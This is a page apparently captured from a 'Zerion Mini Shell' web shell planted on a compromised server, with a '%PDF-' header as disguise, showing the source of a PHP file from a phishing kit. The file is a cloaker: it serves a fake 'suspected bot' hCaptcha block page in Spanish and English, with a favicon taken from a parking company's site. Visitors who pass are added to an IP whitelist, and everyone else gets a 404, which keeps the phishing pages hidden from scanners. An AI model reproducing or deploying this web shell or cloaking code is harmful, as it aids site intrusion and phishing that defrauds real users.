%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/emergentqj/actioncivile/es/
Upload File :
Create Path :
Current File : /home/emergentqj/actioncivile/es/pr.php

<?php

require_once('.config.php');

if ($cloaker === "off") {
  // Redireccionar a una URL específica
  header("Location: inde.php");
  exit(); // Detener la ejecución del script
}

function generateUUID() {
  return sprintf('%04x%04x-%04x-%04x-%04x-%04x%04x%04x',
      mt_rand(0, 0xffff), mt_rand(0, 0xffff),
      mt_rand(0, 0xffff),
      mt_rand(0, 0x0fff) | 0x4000,
      mt_rand(0, 0x3fff) | 0x8000,
      mt_rand(0, 0xffff), mt_rand(0, 0xffff), mt_rand(0, 0xffff)
  );
}

$incidentID = generateUUID();

$langcode = 'nl';
$wl       = '.ht_whitelist';

$langs = array(
    'Nederlands' => 'nl', 
    //'English' => 'en', <= quick example of how to invent new languages.
);

$get_msg['nl'] = '
<div>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<title> Sign In </title>
<link rel="stylesheet" href="./def/assets/all-popular.min.css">
</div>
<style>
.bd-placeholder-img {
font-size: 1.125rem;
text-anchor: middle;
-webkit-user-select: none;
-moz-user-select: none;
-ms-user-select: none;
user-select: none;
}

.card-img-top {
width: 100%;
border-top-left-radius: calc(.25rem - 1px);
border-top-right-radius: calc(.25rem - 1px);
}

svg {
overflow: hidden;
vertical-align: middle;
}
</style>
<header role="banner">
<div class="pop-bg-dark">
<div class="container">
<div class="row">
  <div class="col d-flex justify-content-between p-3">
    <nav class="navbar d-inline-flex p-0">
      <a title="Premia">
        <div class="float-left pop-brand pop-brand-bg-dark">
          <span class="sr-only">Premia</span>
        </div>
      </a>

    </nav>
    <script>
      function toggleLanguage(isEnglish) {
          var spanishContent = document.getElementById("spanishContent");
          var englishContent = document.getElementById("englishContent");
          var spanishButton = document.getElementById("spanishButton");
          var englishButton = document.getElementById("englishButton");

          if(isEnglish) {
              spanishContent.style.display = "block";
              englishContent.style.display = "none";
              spanishButton.style.display = "none";
              englishButton.style.display = "block";
          } else {
              spanishContent.style.display = "none";
              englishContent.style.display = "block";
              spanishButton.style.display = "block";
              englishButton.style.display = "none";
          }
      }
      window.onload = function() {
        toggleLanguage(true);
      }
    </script>
    
    <button id="spanishButton" onclick="toggleLanguage(true)" class="lang_btn pop-btn pop-btn-secondary" style="display: none;" >Español</button>
    <button id="englishButton" onclick="toggleLanguage(false)" class="lang_btn pop-btn pop-btn-secondary" >English</button>
    
  </div>
</div>
</div>
</div>
</header>
<main id="main-content">

<div class="album py-5 bg-light">
<div class="container">

<div class="row">

  <div class="col-md-2 p-md-4">
    <svg width="92" height="120" viewBox="0 0 92 120" fill="none" xmlns="http://www.w3.org/2000/svg">
      <path d="M1.80655 21.378C1.91588 20.3984 2.01693 19.624 2.09308 19.0798C14.488 19.711 23.515 16.8564 30.443 12.9827C35.8345 9.96813 39.9728 6.31292 43.3522 3.32803C44.1391 2.63295 44.8849 1.97423 45.5958 1.3684C46.296 1.96719 47.0304 2.61757 47.8051 3.3036C51.1809 6.29314 55.3211 9.95957 60.7238 12.9826C67.6471 16.8563 76.6717 19.711 89.0619 19.0799C89.1381 19.624 89.2393 20.3985 89.3488 21.3782C89.5819 23.4639 89.8525 26.4783 90.0005 30.1795C90.2965 37.5851 90.1005 47.7224 88.1381 58.6615C84.2324 80.4333 73.3658 105.238 45.5969 118.173C17.8132 105.238 6.93697 80.4329 3.02523 58.6612C1.05978 47.7221 0.861663 37.5849 1.15633 30.1793C1.30359 26.4782 1.57376 23.4637 1.80655 21.378Z" stroke="#872878" stroke-width="2.09344" stroke-linecap="round" stroke-linejoin="round"></path>
      <path d="M78.8669 43.2219L68.5448 32.4483L40.0396 62.2002L30.7974 52.5537L20.4849 63.3274L40.0396 83.7374L78.8669 43.2219Z" fill="#872878"></path>
    </svg>

  </div>
  <div class="col-md-8 col-sm-12">
    <!-- //////////////  ENG ///////////////// -->
    <div id="englishContent" class="content" style="display:none;">
      <h2 class="pop-head">We apologize for the inconvenience...</h2>

      <p>...but your activity and behavior on this site made us think that you are a bot.

        <br>
        </p><h4 class="pop-head">Note: A number of things could be going on here.</h4>

        <ol>
          <li>If you are attempting to access this site using an anonymous Private/Proxy network, please disable
            that
            and try accessing site again.</li>
          <li>Previously detected malicious behavior that originated from the network you are using may have triggered this block.</li>
        </ol>

      <p><br></p>

      <br>
      <div class="pop-alert pop-alert-info pop-alert-slim">
      <strong>Incident ID:</strong> ' . $incidentID . '
        
      </div>

      <br>

      <h4 class="pop-head">Please solve this CAPTCHA to request unblock to the website</h4>
           

      

    </div>
    <!-- //////////////  /ENG ///////////////// -->

    <!-- ///////////// ESP //////////////-->
    <div id="spanishContent" class="content" >
      <h2 class="pop-head">Disculpa las molestias que esto pueda ocasionar...</h2>

      <p>...pero tu actividad y comportamiento en esta página nos hace pensar que eres un bot.

        <br>
        </p><h4 class="pop-head">Nota: Aquí pueden estar pasando varias cosas.</h4>

        <ol>
          <li>Si estás intentando acceder utilizando una red anónima privada/proxy, desactívala e intenta
            acceder nuevamente.</li>
          <li>Debido a un comportamiento malicioso detectado previamente originado en la red que estás
            utilizando, por favor, solicita el desbloqueo del sitio.</li>
        </ol>

      <p><br></p>

      <br>
      <div class="pop-alert pop-alert-info pop-alert-slim">
      <strong>ID del incidente:</strong> ' . $incidentID . '
        
      </div>

      <br>

      <h4 class="pop-head">Resuelve este CAPTCHA para solicitar el desbloqueo del sitio web</h4>

      

    </div>
    <!-- ///////////// /ESP //////////////-->
    <center>
        <div style="display: inline-grid;">
            <span class="msg-error error"></span>
            <form method="POST" action="{curpagename}">
                <input type="hidden" id="h-captcha-response" name="h-captcha-response">
                <input type="hidden" name="query_string" value="{query_string}">
                <input type="hidden" name="actionname" value="{actionname}" />
                <div id="hcaptcha"></div>
                <br><br>
                <input type="submit" class="btn btn-sm" value="Submit" id="submit-button">
            </form>
        </div>
      </center>
  </div>

  <div class="col-md-2">&nbsp;<br></div>

</div>

</div>
</div>

</main>
<div style="background-color: rgb(255, 255, 255); border: 1px solid rgb(215, 215, 215); box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 4px; border-radius: 4px; left: auto; top: -10000px; z-index: -2147483648; position: absolute; transition: opacity 0.15s ease-out 0s; opacity: 0; visibility: hidden;" aria-hidden="true">
<div style="position: relative; z-index: 1;">

</div>
<div style="width: 100%; height: 100%; position: fixed; pointer-events: none; top: 0px; left: 0px; z-index: 0; background-color: rgb(255, 255, 255); opacity: 0.05;"></div>
<div style="border-width: 11px; position: absolute; pointer-events: none; margin-top: -11px; z-index: 1; right: 100%;">
<div style="border-width: 10px; border-style: solid; border-color: transparent rgb(255, 255, 255) transparent transparent; position: relative; top: 10px; z-index: 1;"></div>
<div style="border-width: 11px; border-style: solid; border-color: transparent rgb(215, 215, 215) transparent transparent; position: relative; top: -11px; z-index: 0;"></div>
</div>
</div>
<div style="background-color: rgb(255, 255, 255); border: 1px solid rgb(215, 215, 215); box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 4px; border-radius: 4px; left: auto; top: -10000px; z-index: -2147483648; position: absolute; transition: opacity 0.15s ease-out 0s; opacity: 0; visibility: hidden;" aria-hidden="true">
<div style="position: relative; z-index: 1;">

</div>
<div style="width: 100%; height: 100%; position: fixed; pointer-events: none; top: 0px; left: 0px; z-index: 0; background-color: rgb(255, 255, 255); opacity: 0.05;"></div>
<div style="border-width: 11px; position: absolute; pointer-events: none; margin-top: -11px; z-index: 1; right: 100%;">
<div style="border-width: 10px; border-style: solid; border-color: transparent rgb(255, 255, 255) transparent transparent; position: relative; top: 10px; z-index: 1;"></div>
<div style="border-width: 11px; border-style: solid; border-color: transparent rgb(215, 215, 215) transparent transparent; position: relative; top: -11px; z-index: 0;"></div>
</div>
</div>
<script src="https://hcaptcha.com/1/api.js" async defer onload="onHcaptchaLoad()"></script>
<script>
  function onHcaptchaLoad() {
    hcaptcha.render("hcaptcha", {
        "sitekey" : "'. $apihcaptcha .'",
        "callback" : "onSubmit",
        "expired-callback" : "onExpired"
    });
  }

  function onExpired() {
    document.getElementById("submit-button").disabled = true;
  }


  function onSubmit(token) {
    document.getElementById("h-captcha-response").value = token;
    document.getElementById("submit-button").disabled = false;
  }
</script>


';


if (isset($_POST['langcode'])) {
    $langcode = $_POST['langcode'];
}

$lang_output = '';
foreach ($langs as $langname => $langcoded) {
    $lang_output .= '<form method="POST" style="float:left;"><input type="hidden" name="langcode" value="' . $langcoded . '" /><input type="submit" value="' . $langname . '"/></form>';
}
$lang_output .= '<div style="clear:both"></div>';


function _get_header()
{
    $page_header = '
<html>
<head>
    <title>ShieldSquare Captcha</title>
    
    <link rel="shortcut icon" type="image/x-icon" href="https://customer.easypark.net/auth/assets/images/favicon/favicon.ico" />
    <link rel="icon" type="image/x-icon" href="https://customer.easypark.net/auth/assets/images/favicon/favicon.ico" />
    <meta data-n-head="ssr" charset="utf-8">
    <meta data-n-head="ssr" name="viewport" content="width=device-width, initial-scale=1">
    <meta charset="UTF-8"/>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/2.2.2/jquery.min.js"></script>
    
    <Style>
    msg-error {
      color: #c65848;
    }
    .g-recaptcha.error {
      border: solid 2px #c64848;
      padding: .2em;
      width: 19em;
    }
    </style>
    <style>
    @import url("https://fonts.googleapis.com/css?family=Source+Code+Pro:400,500,600,700|Source+Sans+Pro:400,600,700&display=swap");
    .submit {
        width: 100%;
        height: 55px;
        background: #2364d2;
        border: none;
        border-radius: 5px;
        font-size: 22px;
        font-weight: 500;
        font-family: "Source Sans Pro", sans-serif;
        box-shadow: 3px 10px 20px 0px rgba(35, 100, 210, 0.3);
        color: #fff;
        margin-top: 20px;
        cursor: pointer;
    }
    </style>
</head>
<body>';
    return $page_header;
}


function _get_footer()
{
    $page_footer = '
</body>
</html>';
    return $page_footer;
}

function getRealIP()
{
    $client_ip = (!empty($_SERVER['REMOTE_ADDR'])) ? $_SERVER['REMOTE_ADDR'] : ((!empty($_ENV['REMOTE_ADDR'])) ? $_ENV['REMOTE_ADDR'] : "unknown");
    if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
        $entries = mb_split('[, ]', $_SERVER['HTTP_X_FORWARDED_FOR']);
        foreach($entries as $entry) {
            $entry = trim($entry);
            if (preg_match("/^([0-9]+\.[0-9]+\.[0-9]+\.[0-9]+)/", $entry, $ip_list)) {
                $private_ip = array(
                    '/^0\./',
                    '/^127\.0\.0\.1/',
                    '/^192\.168\..*/',
                    '/^172\.((1[6-9])|(2[0-9])|(3[0-1]))\..*/',
                    '/^10\..*/'
                );
                $found_ip   = preg_replace($private_ip, $client_ip, $ip_list[1]);
                if ($client_ip != $found_ip) {
                    $client_ip = $found_ip;
                    break;
                }
            }
        }
    }
    return $client_ip;
}

function curPageName()
{
    return substr($_SERVER["SCRIPT_NAME"], strrpos($_SERVER["SCRIPT_NAME"], "/") + 1);
}

function curPathURL()
{
    $pageURL = 'http';
    if ($_SERVER["HTTPS"] == "on") {
        $pageURL .= "s";
    }
    $pageURL .= "://";
    if ($_SERVER["SERVER_PORT"] != "80") {
        $pageURL .= $_SERVER["SERVER_NAME"] . ":" . $_SERVER["SERVER_PORT"];
    } else {
        $pageURL .= $_SERVER["SERVER_NAME"];
    }
    $parts = explode('/', $_SERVER['REQUEST_URI']);
    for ($i = 0; $i < count($parts) - 1; $i++) {
        $pageURL .= $parts[$i] . "/";
    }
    return $pageURL;
}

function blocked($get_msg, $langcode, $lang_output, $actionname)
{
    $data    = array(
        'lang_output' => $lang_output,
        'curPageName' => curPageName(),
        'actionname' => $actionname,
        'query_string' => $_SERVER['QUERY_STRING']
    );
    $content = replace_vars($get_msg[$langcode], $data);
    header("HTTP/1.0 404 Not Found");
    die(_get_header() . $content . _get_footer());
}

if ($_SERVER["REQUEST_METHOD"] == "POST") {
  $secret = $secrethcaptcha;
  $response = $_POST["h-captcha-response"];
  $verify = file_get_contents("https://hcaptcha.com/siteverify?secret={$secret}&response={$response}");
  $captcha_success = json_decode($verify);

  
}

function replace_vars($buffer, $data)
{
    foreach ($data as $k => $v) {
        if (is_string($v) || is_numeric($v) || $v == NULL) {
            $buffer = preg_replace('/\{' . strtolower($k) . '\}/', $v, $buffer);
        }
    }
    return $buffer;
}

$requester_IP = getRealIP();
$wl_filename  = dirname(__FILE__) . '/' . $wl;

session_start();

if (isset($_SESSION['actionname']) AND isset($_POST['actionname'])) {
    
    if ($_SESSION['actionname'] == $_POST['actionname']) {
        
        $fh = fopen($wl_filename, 'a');
        fwrite($fh, $requester_IP . "\n");
        fclose($fh);
        
        $_SESSION = array();
        $_COOKIE  = array();
        session_destroy();
        
        if (!empty($_POST['query_string'])) {
            header('Location: ' . curPathURL() . curPageName() . '?' . $_POST['query_string']);
        } else {
            header('Location: ' . curPathURL() . curPageName());
        }
        die();
        
    } else {
        
        $actionname = $_SESSION['actionname'];
        
    }
    
} else {
    
    $actionname             = '.ht_' . uniqid();
    $_SESSION['actionname'] = $actionname;
    
}

if (is_file($wl_filename)) {
    $whitelist = file($wl_filename, FILE_IGNORE_NEW_LINES);
    
    if (!in_array($requester_IP, $whitelist)) {
        blocked($get_msg, $langcode, $lang_output, $actionname);
    }
    
} else {
    
    blocked($get_msg, $langcode, $lang_output, $actionname);
    
}

?>

Zerion Mini Shell 1.0